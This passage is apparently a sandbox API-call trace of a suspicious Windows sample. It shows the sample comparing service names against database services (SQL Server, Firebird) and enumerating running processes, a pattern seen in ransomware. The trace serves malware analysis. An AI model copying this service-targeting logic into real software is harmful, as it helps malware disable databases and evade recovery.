lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.997] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.997] lstrlenW (lpString="Power") returned 5 [0040.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.998] lstrlenW (lpString="ProfSvc") returned 7 [0040.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.998] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.998] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.998] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.998] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.998] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.998] lstrlenW (lpString="RpcSs") returned 5 [0040.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.998] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.998] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.998] lstrlenW (lpString="SamSs") returned 5 [0040.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.998] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.998] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.998] lstrlenW (lpString="Schedule") returned 8 [0040.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.999] lstrlenW (lpString="SecurityHealthService") returned 21 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0040.999] lstrlenW (lpString="SENS") returned 4 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.999] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.999] lstrlenW (lpString="Spooler") returned 7 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.999] lstrlenW (lpString="StateRepository") returned 15 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0040.999] lstrlenW (lpString="SysMain") returned 7 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.000] lstrlenW (lpString="SystemEventsBroker") returned 18 [0041.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0041.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0041.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0041.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0041.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0041.000] lstrlenW (lpString="Themes") returned 6 [0041.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.000] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a13d0 | out: hHeap=0x690000) returned 1 [0041.000] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e8 [0041.207] Process32FirstW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.208] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.209] lstrlenW (lpString="System") returned 6 [0041.209] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.210] lstrlenW (lpString="smss.exe") returned 8 [0041.210] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.211] lstrlenW (lpString="csrss.exe") returned 9 [0041.211] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.212] lstrlenW (lpString="wininit.exe") returned 11 [0041.212] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.212] lstrlenW (lpString="csrss.exe") returned 9 [0041.212] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.213] lstrlenW (lpString="winlogon.exe") returned 12 [0041.213] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.214] lstrlenW (lpString="services.exe") returned 12 [0041.214] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.214] lstrlenW (lpString="lsass.exe") returned 9 [0041.214] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.215] lstrlenW (lpString="svchost.exe") returned 11 [0041.215] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0041.215] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0041.215] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0041.217] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0041.217] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.217] lstrlenW (lpString="svchost.exe") returned 11 [0041.217] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.218] lstrlenW (lpString="dwm.exe") returned 7 [0041.218] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.218] lstrlenW (lpString="svchost.exe") returned 11 [0041.219] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.219] lstrlenW (lpString="svchost.exe") returned 11 [0041.219] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.220] lstrlenW (lpString="svchost.exe") returned 11 [0041.220] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.220] lstrlenW (lpString="svchost.exe") returned 11 [0041.221] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.221] lstrlenW (lpString="svchost.exe") returned 11 [0041.221] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.222] lstrlenW (lpString="svchost.exe") returned 11 [0041.222] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.223] lstrlenW (lpString="svchost.exe") returned 11 [0041.223] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.223] lstrlenW (lpString="svchost.exe") returned 11 [0041.223] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.224] lstrlenW (lpString="svchost.exe") returned 11 [0041.224] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.224] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.225] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.225] lstrlenW (lpString="svchost.exe") returned 11 [0041.225] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.226] lstrlenW (lpString="svchost.exe") returned 11 [0041.226] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.226] lstrlenW (lpString="audiodg.exe") returned 11 [0041.226] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0041.227] lstrlenW (lpString="sihost.exe") returned 10 [0041.227] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.228] lstrlenW (lpString="svchost.exe") returned 11 [0041.228] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0041.229] lstrlenW (lpString="taskhostw.exe") returned 13 [0041.229] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0041.229] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0041.229] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0041.230] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0041.230] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.230] lstrlenW (lpString="explorer.exe") returned 12 [0041.231] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0041.231] lstrlenW (lpString="Memory Compression") returned 18 [0041.231] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0041.232] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0041.232] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0041.232] lstrlenW (lpString="SearchUI.exe") returned 12 [0041.232] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0041.233] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0041.233] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.234] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.234] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0041.235] lstrlenW (lpString="taskhostw.exe") returned 13 [0041.235] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0041.249] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0041.249] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0041.249] lstrlenW (lpString="msoia.exe") returned 9 [0041.249] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0041.250] lstrlenW (lpString="UsoClient.exe") returned 13 [0041.250] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0041.251] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0041.251] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0041.252] lstrlenW (lpString="msoia.exe") returned 9 [0041.252] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0041.252] lstrlenW (lpString="taskhostw.exe") returned 13 [0041.252] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0041.253] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0041.253] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0041.253] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0041.254] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0041.254] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0041.254] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0041.255] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0041.255] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0041.256] lstrlenW (lpString="arcobviously.exe") returned 16 [0041.256] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0041.256] lstrlenW (lpString="preston disciplines.exe") returned 23 [0041.256] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0041.257] lstrlenW (lpString="boss.exe") returned 8 [0041.257] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: 